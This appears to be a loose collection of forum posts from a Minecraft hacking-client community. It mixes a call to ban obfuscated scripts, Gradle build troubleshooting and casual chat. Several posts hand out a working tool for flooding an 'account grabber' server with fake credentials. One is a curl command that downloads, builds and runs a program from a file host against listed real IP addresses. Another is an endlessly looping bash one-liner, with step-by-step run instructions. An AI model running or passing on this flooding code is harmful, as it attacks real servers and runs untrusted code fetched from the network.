I'd like to use this opportunity to again advocate for the banning of obfuscation. It delays discovery of any malicious code more than is tolerable. See my previous post on the subject.

To all the people whining "no obf screpet so sad ;_;",

1. Obfuscated scripts aren't reviewable. They can't check it for content that is harmful and/or badly written.
2. It is better that way. People should be able to view and review a script for themselves.

To summarize: Stop whining, you fucks.

Read the post before voting.

As I'm sure you've all noticed, there has been a variety of malicious scripts posted in the last few days, and to address this, I propose a new, temporary, policy that forbids the posting of obfuscated scripts.

I'm sure that some of the members here would be disappointed by this -- after all, they post their scripts in obfuscated form, which does have the benefit of not getting their code skidded as easily, however, this is completely overshadowed by the danger of some members (who may be new, or inexperienced, or just careless) running a malicious script that steals their accounts, or does even worse things to their computer.

Alternatively, we could also:

• reject all new registrations
• ban all VPN, Tor, and Proxy users from signing up (which we already, sort of, do, by using cloudflare)
• disallow posting of scripts entirely

All of these affect people with good intent in a major way, though.
Any other ideas?

In case it's ever needed again:
https://0x0.st/-T8J.xz

Linux users:

curl https://0x0.st/-T8J.xz|tar xJ&&cd fakealtspammer&&make&&./fas

Currently:

./fas 104.131.93.82 58028 ABC
./fas 179.43.152.50 58028 ABC

If neither of those respond, they're both down and/or they got a new one.

Status of known Servers (last updated 27 Apr 17:51 UTC):

• 179.43.152.50: down
• 104.131.93.82: down

Same for Windows users in WSL, you may need to install build-essential.

Launch with ./fas
I'm not adding native Windows support.

Edit #2: bug fixed, updated link
Edit #3: made it print dots, updated link

Not cool, man.

@ender1355 No. Fucker is the best choice because it's widely used as BedFucker already but can also fuck other blocks, though IDNuker seems like a better choice for for new people. Also, that's what descriptions are for.

AceMan - Stepp`d on my Chips – 05:01
— AceMan

FAKE ALTS FOR THE ACCOUNT GRABBER

Edit: Working on a C version with just about everything better.
Hi there, I've written a little bash script to flood the accountgrabber's servers with fake alts.

HOWTO:

Windows

1. Go to the Microsoft Store.
2. Search "Ubuntu".
3. Install the first result with the orange background.
4. Restart your computer.
5. Choose an account name. Press Enter.
6. Choose a Password (anything goes) . You will not see what you typed! Don't worry, it's a security measure. Type it anyway.
7. You should arrive at a colored prompt.
8. Copy the following script (It's not obfuscated btw -- that's exactly how I wrote it and it's how bash oneliners look) :

rng() { cat /dev/urandom | tr -cd '1-9' | fold -w"${*}" | head -1;};ue() { temp="$LC_COLLATE";LC_COLLATE='C';length="${#1}";for ((i=0;i<length;i++)) ;do c="${1:$i:1}"; case "${c}" in [a-zA-Z0-9.~_-]) printf '%s' "${c}" ;; *) printf '%%%02X' "'${c}";;esac;done;LC_COLLATE="${temp}";return 0; };rsg() { cat /dev/urandom | tr -cd 'A-Za-z0-9_-' | fold -w"${*}" | head -1;};while :;do ((curl -4 'http://179.43.152.50:58028/?ABC='"$(printf '[\r\n    %[email protected]%s.%s:%s\r\n]' "$(rsg "$(rng 3)")" "$(rsg "$(rng 2)")" "$(rsg "$(rng 1)")" "$(rsg "$(rng 3)")" | base64 -w0 | ue)" && printf '.')&sleep .1);done

9. Go into the Ubuntu window. Right click.
10. Press enter.

Linux (windows users, skip to the usage paragraph below, its the same for both)

1. Open a terminal window.
2. Type bash.
3. Copy and paste the above script (ctrl-shift-v, sometimes middle click)
4. Press Enter.

USAGE

You will now see a lot of dots appear on screen. The dots represent the amount of fake alts sent to the accountgrabber's server.

You may have noticed that there is a sleep at the end of the script. This controls how long to wait before spawning the next process.

If you're on a potato PC, and it is lagging, increase it.
If you're on a high-end epic gaming PC, and it isn't lagging, decrease it.

If you want to stop it, press Ctrl-C. Wait for a few seconds.

Note that this will reveal your IP address to the account grabber. If you don't want that, use a VPN or proxy.

Version 2 and/or C rewrite coming soon!

Alts won't die with Microsoft account migration. Don't be ridiculous.

Aaaaand it's down. At least, it appears to be. Let's wait some more.
I love you all.

@suicidemouse I tried but I don't understand Gradle at all

@suicidemouse yes

@suicidemouse yeah but you still need to gradlew build

@suicidemouse You can also skip the IDE and just type ./gradlew build

So I saw d207e5f2 and tried to do it for 1.19, but I didn't consider that I am a) dumb and b) know nothing about Gradle.

Getting the latest versions of Fabric and stuff and the mods into gradle.properties does not work because ????:

minecraft_version=1.19
yarn_mappings=1.19+build.4
loader_version=0.14.8

#Fabric api
fabric_version=0.56.0+1.19
(...)
# Recommended mods
mod_menu_version=3.0.1
multiconnect_version=1.5.10

sodium_version=mc1.19-0.4.2
lithium_version=mc1.19-0.8.0
phosphor_version=1.19.x-0.8.1

Caused by: org.gradle.api.InvalidUserDataException: io.netty:netty-transport-native-epoll:4.1.77.Final has more than one client module definitions.
        at org.gradle.api.internal.artifacts.ivyservice.resolveengine.graph.builder.SelectorState.trackDetailsForOverrideMetadata(SelectorState.java:397)
        at org.gradle.api.internal.artifacts.ivyservice.resolveengine.graph.builder.SelectorState.update(SelectorState.java:387)
        at org.gradle.api.internal.artifacts.ivyservice.resolveengine.graph.builder.ResolveState.getSelector(ResolveState.java:195)
        at org.gradle.api.internal.artifacts.ivyservice.resolveengine.graph.builder.EdgeState.computeSelector(EdgeState.java:94)
        at org.gradle.api.internal.artifacts.ivyservice.resolveengine.graph.builder.NodeState.createAndLinkEdgeState(NodeState.java:538)
        at org.gradle.api.internal.artifacts.ivyservice.resolveengine.graph.builder.NodeState.visitDependencies(NodeState.java:442)
        at org.gradle.api.internal.artifacts.ivyservice.resolveengine.graph.builder.NodeState.visitOutgoingDependencies(NodeState.java:284)
        at org.gradle.api.internal.artifacts.ivyservice.resolveengine.graph.builder.DependencyGraphBuilder.traverseGraph(DependencyGraphBuilder.java:195)
        at org.gradle.api.internal.artifacts.ivyservice.resolveengine.graph.builder.DependencyGraphBuilder.resolve(DependencyGraphBuilder.java:149)
        at org.gradle.api.internal.artifacts.ivyservice.resolveengine.DefaultArtifactDependencyResolver.resolve(DefaultArtifactDependencyResolver.java:145)
        at org.gradle.api.internal.artifacts.ivyservice.DefaultConfigurationResolver.resolveGraph(DefaultConfigurationResolver.java:186)
        at org.gradle.api.internal.artifacts.ivyservice.ShortCircuitEmptyConfigurationResolver.resolveGraph(ShortCircuitEmptyConfigurationResolver.java:85)
        at org.gradle.api.internal.artifacts.ivyservice.ErrorHandlingConfigurationResolver.resolveGraph(ErrorHandlingConfigurationResolver.java:74)
        ... 192 more

Updating Loom does not work because they removed modRuntime:

loom_version=0.12-SNAPSHOT

@jhon-teylor Go and Java have very different applications, for instance, Go is compiled to native code, and Java is compiled to JVM bytecode

Holy balls, what happened here?

Very cool!

@stfwissue I think it's a matter of what you need. If you're writing simple modules, you probably don't need things like Core. If you write more complex scripts and Core eases it, sure, knock yourself out. My issue is just that libraries like Core don't teach you how to write these utilities.

@kawaiinekololis @Ali00035 Thanks for telling me how to resolve it, though!